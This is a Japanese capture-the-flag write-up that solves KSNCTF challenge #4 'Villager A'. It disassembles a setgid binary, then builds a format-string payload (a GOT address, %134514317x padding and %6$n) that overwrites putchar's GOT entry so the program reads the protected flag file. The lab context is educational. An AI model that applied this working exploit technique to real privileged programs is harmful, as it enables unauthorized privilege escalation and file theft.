KSNCTF #4 Villager A

#  Villager A

```:問題文
ssh q4@ctfq.u1tramarine.blue -p 10004
Password: q60SIMpLlej9eq49
RSA key fingerprint (MD5): 7b:66:e1:98:96:50:94:ad:ef:d9:9a:a2:87:f2:2b:66
RSA key fingerprint (SHA-256): LBqdPUUa6DGkF6+BSQfNrILUDplXcgxzAUIiW/DeFQ8
```
とりあえずSSH接続をしてみる

```bash
[q4@eceec62b961b ~]$ ls -a
.  ..  .bash_logout  .bash_profile  .bashrc  flag.txt  q4
[q4@eceec62b961b ~]$ cat flag.txt
cat: flag.txt: Permission denied
```

`ls -a`をすると`flag.txt`があったので、`cat`で読もうとしましたが、案の定権限がありません。


```bash
[q4@eceec62b961b ~]$ file q4
q4: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=526c75e7f0f34744808eb1b09a5a91880562efc8, not stripped
[q4@eceec62b961b ~]$ ./q4
What’s your name?
nn
Hi, nn

Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
t
Do you want the flag?
y
Do you want the flag?
no
I see. Good bye.
```
名前を聞かれ、`no`の時のみ応答するプログラムでした。
特定の条件を満たすと`flag.txt`が出力される感じっぽいです。

---
とりあえず`objdump`で逆アセンブルしてみましょう。

```bash
[q4@eceec62b961b ~]$ objdump -d q4

q4:     file format elf32-i386


Disassembly of section .init:

08048424 <_init>:
 8048424:       55                      push   %ebp
 8048425:       89 e5                   mov    %esp,%ebp
 8048427:       53                      push   %ebx
 8048428:       83 ec 04                sub    $0x4,%esp
 804842b:       e8 00 00 00 00          call   8048430 <_init+0xc>
 8048430:       5b                      pop    %ebx
 8048431:       81 c3 a0 15 00 00       add    $0x15a0,%ebx
 8048437:       8b 93 fc ff ff ff       mov    -0x4(%ebx),%edx
 804843d:       85 d2                   test   %edx,%edx
 804843f:       74 05                   je     8048446 <_init+0x22>
 8048441:       e8 1e 00 00 00          call   8048464 <__gmon_start__@plt>
 8048446:       e8 45 01 00 00          call   8048590 <frame_dummy>
 804844b:       e8 00 03 00 00          call   8048750 <__do_global_ctors_aux>
 8048450:       58                      pop    %eax
 8048451:       5b                      pop    %ebx
 8048452:       c9                      leave
 8048453:       c3                      ret

Disassembly of section .plt:

08048454 <.plt>:
 8048454:       ff 35 d4 99 04 08       pushl  0x80499d4
 804845a:       ff 25 d8 99 04 08       jmp    *0x80499d8
 8048460:       00 00                   add    %al,(%eax)
        ...

08048464 <__gmon_start__@plt>:
 8048464:       ff 25 dc 99 04 08       jmp    *0x80499dc
 804846a:       68 00 00 00 00          push   $0x0
 804846f:       e9 e0 ff ff ff          jmp    8048454 <.plt>

08048474 <putchar@plt>:
 8048474:       ff 25 e0 99 04 08       jmp    *0x80499e0
 804847a:       68 08 00 00 00          push   $0x8
 804847f:       e9 d0 ff ff ff          jmp    8048454 <.plt>

08048484 <fgets@plt>:
 8048484:       ff 25 e4 99 04 08       jmp    *0x80499e4
 804848a:       68 10 00 00 00          push   $0x10
 804848f:       e9 c0 ff ff ff          jmp    8048454 <.plt>

08048494 <__libc_start_main@plt>:
 8048494:       ff 25 e8 99 04 08       jmp    *0x80499e8
 804849a:       68 18 00 00 00          push   $0x18
 804849f:       e9 b0 ff ff ff          jmp    8048454 <.plt>

080484a4 <fopen@plt>:
 80484a4:       ff 25 ec 99 04 08       jmp    *0x80499ec
 80484aa:       68 20 00 00 00          push   $0x20
 80484af:       e9 a0 ff ff ff          jmp    8048454 <.plt>

080484b4 <printf@plt>:
 80484b4:       ff 25 f0 99 04 08       jmp    *0x80499f0
 80484ba:       68 28 00 00 00          push   $0x28
 80484bf:       e9 90 ff ff ff          jmp    8048454 <.plt>

080484c4 <puts@plt>:
 80484c4:       ff 25 f4 99 04 08       jmp    *0x80499f4
 80484ca:       68 30 00 00 00          push   $0x30
 80484cf:       e9 80 ff ff ff          jmp    8048454 <.plt>

080484d4 <__gxx_personality_v0@plt>:
 80484d4:       ff 25 f8 99 04 08       jmp    *0x80499f8
 80484da:       68 38 00 00 00          push   $0x38
 80484df:       e9 70 ff ff ff          jmp    8048454 <.plt>

080484e4 <strcmp@plt>:
 80484e4:       ff 25 fc 99 04 08       jmp    *0x80499fc
 80484ea:       68 40 00 00 00          push   $0x40
 80484ef:       e9 60 ff ff ff          jmp    8048454 <.plt>

Disassembly of section .text:

08048500 <_start>:
 8048500:       31 ed                   xor    %ebp,%ebp
 8048502:       5e                      pop    %esi
 8048503:       89 e1                   mov    %esp,%ecx
 8048505:       83 e4 f0                and    $0xfffffff0,%esp
 8048508:       50                      push   %eax
 8048509:       54                      push   %esp
 804850a:       52                      push   %edx
 804850b:       68 e0 86 04 08          push   $0x80486e0
 8048510:       68 f0 86 04 08          push   $0x80486f0
 8048515:       51                      push   %ecx
 8048516:       56                      push   %esi
 8048517:       68 b4 85 04 08          push   $0x80485b4
 804851c:       e8 73 ff ff ff          call   8048494 <__libc_start_main@plt>
 8048521:       f4                      hlt
 8048522:       90                      nop
 8048523:       90                      nop
 8048524:       90                      nop
 8048525:       90                      nop
 8048526:       90                      nop
 8048527:       90                      nop
 8048528:       90                      nop
 8048529:       90                      nop
 804852a:       90                      nop
 804852b:       90                      nop
 804852c:       90                      nop
 804852d:       90                      nop
 804852e:       90                      nop
 804852f:       90                      nop

08048530 <__do_global_dtors_aux>:
 8048530:       55                      push   %ebp
 8048531:       89 e5                   mov    %esp,%ebp
 8048533:       53                      push   %ebx
 8048534:       8d 64 24 fc             lea    -0x4(%esp),%esp
 8048538:       80 3d 08 9a 04 08 00    cmpb   $0x0,0x8049a08
 804853f:       75 3e                   jne    804857f <__do_global_dtors_aux+0x4f>
 8048541:       bb e4 98 04 08          mov    $0x80498e4,%ebx
 8048546:       a1 0c 9a 04 08          mov    0x8049a0c,%eax
 804854b:       81 eb e0 98 04 08       sub    $0x80498e0,%ebx
 8048551:       c1 fb 02                sar    $0x2,%ebx
 8048554:       83 eb 01                sub    $0x1,%ebx
 8048557:       39 d8                   cmp    %ebx,%eax
 8048559:       73 1d                   jae    8048578 <__do_global_dtors_aux+0x48>
 804855b:       90                      nop
 804855c:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi
 8048560:       83 c0 01                add    $0x1,%eax
 8048563:       a3 0c 9a 04 08          mov    %eax,0x8049a0c
 8048568:       ff 14 85 e0 98 04 08    call   *0x80498e0(,%eax,4)
 804856f:       a1 0c 9a 04 08          mov    0x8049a0c,%eax
 8048574:       39 d8                   cmp    %ebx,%eax
 8048576:       72 e8                   jb     8048560 <__do_global_dtors_aux+0x30>
 8048578:       c6 05 08 9a 04 08 01    movb   $0x1,0x8049a08
 804857f:       8d 64 24 04             lea    0x4(%esp),%esp
 8048583:       5b                      pop    %ebx
 8048584:       5d                      pop    %ebp
 8048585:       c3                      ret
 8048586:       8d 76 00                lea    0x0(%esi),%esi
 8048589:       8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi

08048590 <frame_dummy>:
 8048590:       55                      push   %ebp
 8048591:       89 e5                   mov    %esp,%ebp
 8048593:       8d 64 24 e8             lea    -0x18(%esp),%esp
 8048597:       a1 e8 98 04 08          mov    0x80498e8,%eax
 804859c:       85 c0                   test   %eax,%eax
 804859e:       74 12                   je     80485b2 <frame_dummy+0x22>
 80485a0:       b8 00 00 00 00          mov    $0x0,%eax
 80485a5:       85 c0                   test   %eax,%eax
 80485a7:       74 09                   je     80485b2 <frame_dummy+0x22>
 80485a9:       c7 04 24 e8 98 04 08    movl   $0x80498e8,(%esp)
 80485b0:       ff d0                   call   *%eax
 80485b2:       c9                      leave
 80485b3:       c3                      ret

080485b4 <main>:
 80485b4:       55                      push   %ebp
 80485b5:       89 e5                   mov    %esp,%ebp
 80485b7:       83 e4 f0                and    $0xfffffff0,%esp
 80485ba:       81 ec 20 04 00 00       sub    $0x420,%esp
 80485c0:       c7 04 24 a4 87 04 08    movl   $0x80487a4,(%esp)
 80485c7:       e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:       a1 04 9a 04 08          mov    0x8049a04,%eax
 80485d1:       89 44 24 08             mov    %eax,0x8(%esp)
 80485d5:       c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 80485dc:       00
 80485dd:       8d 44 24 18             lea    0x18(%esp),%eax
 80485e1:       89 04 24                mov    %eax,(%esp)
 80485e4:       e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:       c7 04 24 b6 87 04 08    movl   $0x80487b6,(%esp)
 80485f0:       e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:       8d 44 24 18             lea    0x18(%esp),%eax
 80485f9:       89 04 24                mov    %eax,(%esp)
 80485fc:       e8 b3 fe ff ff          call   80484b4 <printf@plt>
 8048601:       c7 04 24 0a 00 00 00    movl   $0xa,(%esp)
 8048608:       e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:       c7 84 24 18 04 00 00    movl   $0x1,0x418(%esp)
 8048614:       01 00 00 00
 8048618:       eb 67                   jmp    8048681 <main+0xcd>
 804861a:       c7 04 24 bb 87 04 08    movl   $0x80487bb,(%esp)
 8048621:       e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:       a1 04 9a 04 08          mov    0x8049a04,%eax
 804862b:       89 44 24 08             mov    %eax,0x8(%esp)
 804862f:       c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 8048636:       00
 8048637:       8d 44 24 18             lea    0x18(%esp),%eax
 804863b:       89 04 24                mov    %eax,(%esp)
 804863e:       e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:       85 c0                   test   %eax,%eax
 8048645:       0f 94 c0                sete   %al
 8048648:       84 c0                   test   %al,%al
 804864a:       74 0a                   je     8048656 <main+0xa2>
 804864c:       b8 00 00 00 00          mov    $0x0,%eax
 8048651:       e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:       c7 44 24 04 d1 87 04    movl   $0x80487d1,0x4(%esp)
 804865d:       08
 804865e:       8d 44 24 18             lea    0x18(%esp),%eax
 8048662:       89 04 24                mov    %eax,(%esp)
 8048665:       e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:       85 c0                   test   %eax,%eax
 804866c:       75 13                   jne    8048681 <main+0xcd>
 804866e:       c7 04 24 d5 87 04 08    movl   $0x80487d5,(%esp)
 8048675:       e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:       b8 00 00 00 00          mov    $0x0,%eax
 804867f:       eb 5b                   jmp    80486dc <main+0x128>
 8048681:       8b 84 24 18 04 00 00    mov    0x418(%esp),%eax
 8048688:       85 c0                   test   %eax,%eax
 804868a:       0f 95 c0                setne  %al
 804868d:       84 c0                   test   %al,%al
 804868f:       75 89                   jne    804861a <main+0x66>
 8048691:       c7 44 24 04 e6 87 04    movl   $0x80487e6,0x4(%esp)
 8048698:       08
 8048699:       c7 04 24 e8 87 04 08    movl   $0x80487e8,(%esp)
 80486a0:       e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:       89 84 24 1c 04 00 00    mov    %eax,0x41c(%esp)
 80486ac:       8b 84 24 1c 04 00 00    mov    0x41c(%esp),%eax
 80486b3:       89 44 24 08             mov    %eax,0x8(%esp)
 80486b7:       c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 80486be:       00
 80486bf:       8d 44 24 18             lea    0x18(%esp),%eax
 80486c3:       89 04 24                mov    %eax,(%esp)
 80486c6:       e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:       8d 44 24 18             lea    0x18(%esp),%eax
 80486cf:       89 04 24                mov    %eax,(%esp)
 80486d2:       e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:       b8 00 00 00 00          mov    $0x0,%eax
 80486dc:       c9                      leave
 80486dd:       c3                      ret
 80486de:       90                      nop
 80486df:       90                      nop
 
~~省略~~
```

`main`関数をサーっと見るとファイルを開くライブラリ関数である`fopen@plt`があります。

```bash
 8048688:       85 c0                   test   %eax,%eax
 804868a:       0f 95 c0                setne  %al
 804868d:       84 c0                   test   %al,%al
 804868f:       75 89                   jne    804861a <main+0x66>
 8048691:       c7 44 24 04 e6 87 04    movl   $0x80487e6,0x4(%esp)
 8048698:       08
 8048699:       c7 04 24 e8 87 04 08    movl   $0x80487e8,(%esp)
 80486a0:       e8 ff fd ff ff          call   80484a4 <fopen@plt>　<-- fopen関数
```

このアドレスにたどり着くと、`80484a4`に行き、`fopen`関数が実行されます。
しかし、上の方を見ると`jne`というのがあります。

`jne`は「jump if not equal」という意味です。イコールじゃなかったら指定されたアドレスに飛びますという事。
何に対して`not equal`かというと、**フラグレジスタ**に対してです。
フラグレジスタとは、例えば`test %eax, %eax`(%eax同士の論理積)の結果が0になった時にZF(ゼロフラグ)=1となります。`cmp src1, src2`(src1とsrc2の減算)で`src1`と`src2`の値が一緒だと結果は0になるのでZF(ゼロフラグ)=1となります。

```bash
 8048688:       85 c0                   test   %eax,%eax
 804868a:       0f 95 c0                setne  %al
 804868d:       84 c0                   test   %al,%al
 804868f:       75 89                   jne    804861a <main+0x66>
```
一行目ずつ見ていきましょう。

- `test   %eax,%eax`は`%eax`同士の論理積です。仮に`%eax=1010`だとしましょう
    - 結果は、`1010`です
- `setne  %al`は、`set not equal`と分けられる
    - つまり、前の結果でZF=0なら1を%alに格納するという事です
    - 前回の計算は`1010`なので`&al = 1`という事になります
- `test   %al,%al`は一行目と同じです。`&al = 1`同士の論理積をして、結果は1となりZF=0になります
- `jne    804861a <main+0x66>`では、`jump if not qeual`なのでZF=0より条件を満たします
よって、 804861aにjumpします。

という流れになっています。%eaxが0であれば、いいんですがその方針で行くと少しめんどくさそうです。
長々と説明しましたが、私の知識ではここまでが限界で、ここから調べて解きました。


## GOT Overwrite

https://owasp.org/www-community/attacks/Format_string_attack

入力文字列がアプリケーションによってコマンドとして読み取られる脆弱性を使った攻撃手法です。

---

例えば, `echo "AAAA %p %p %p %p %p %p" | ./q4`を実行してみましょう。

```bash
[q4@eceec62b961b ~]$ echo "AAAA %p %p %p %p %p %p" | ./q4
What’s your name?
Hi, AAAA 0x400 0xf7c50580 0xffee12f8 0x6 (nil) 0x41414141

Do you want the flag?
```

Aの文字コードは41なので,6番目のスタックの値に入力した文字列が格納されているという事になります。
(%pとは引数を持ってくるものですが、ない場合は引数に相当するスタックの値を出力します)

また、先ほど見た`jne`を無視して次のアドレスに飛ぶことができればファイルを開くことができそうですよね。
Format string attackを用いて、'jne'の次のアドレス`8048691`に飛ぶことができればいいという事です。

じゃあ入力が済んだ後、無条件に特定のアドレスに飛ぶ動作があれば、その特定のアドレスを`8048691`に書きかえればいいでしょう。

アセンブリ命令を読んでみると

```bash
 80485e1:       89 04 24                mov    %eax,(%esp)
 80485e4:       e8 9b fe ff ff          call   8048484 <fgets@plt>  <--- 入力？
 80485e9:       c7 04 24 b6 87 04 08    movl   $0x80487b6,(%esp)
 80485f0:       e8 bf fe ff ff          call   80484b4 <printf@plt>  <--- print("Hi, ○○")?
 80485f5:       8d 44 24 18             lea    0x18(%esp),%eax
 80485f9:       89 04 24                mov    %eax,(%esp)
80485fc:       e8 b3 fe ff ff          call   80484b4 <printf@plt> < --- print("Do you want the flag?")?
 8048601:       c7 04 24 0a 00 00 00    movl   $0xa,(%esp)
 8048608:       e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:       c7 84 24 18 04 00 00    movl   $0x1,0x418(%esp)
 8048614:       01 00 00 00
 8048618:       eb 67                   jmp    8048681 <main+0xcd>
 804861a:       c7 04 24 bb 87 04 08    movl   $0x80487bb,(%esp)
 8048621:       e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:       a1 04 9a 04 08          mov    0x8049a04,%eax
 804862b:       89 44 24 08             mov    %eax,0x8(%esp)
 804862f:       c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 8048636:       00
```

`8048608:       e8 67 fe ff ff          call   8048474 <putchar@plt>`
と
` 8048621:       e8 9e fe ff ff          call   80484c4 <puts@plt>`
が候補ですね。今回は`putchar@plt`を使いましょう。

これらはライブラリ関数で、`putchar@plt`が呼び出された後`jmp    *0x80499e0`となっています。
`*0x80499e0`は`0x80499e0`に格納されているアドレスに飛ぶという事です。

方針は
**`0x80499e0`の中に`0x8048691`を格納する**

## 実践

`echo -e "\xe0\x99\x04\x08%134514317x%6\$n" | ./q4`

上記は方針に沿った入力です。一つずつ説明します。

- `-e`はエスケープシーケンスを認識するためのオプションです
- `\xe0\x99\x04\x08`はリトルエンディアンで表現しており、アドレス`080499e0`を表す
    - `0x80499e0`と入力すると、16進数と捉えられ全く違う意味となる
- `%134514317x`は134514321(16進数で8048691)個の文字の入力を表す
    - 書き込み先アドレス`\xe0\x99\x04\x08`は4文字(4バイト)と計算されるため、$134514321-4 = 134514317$となります
- `%6\$n`は6つ目のアドレスにprintfで出力される文字数を書き込んでくれます

```bash
FLAG_hogehoge
```
実行すると、134514317個の空白ののちflagが表示されます。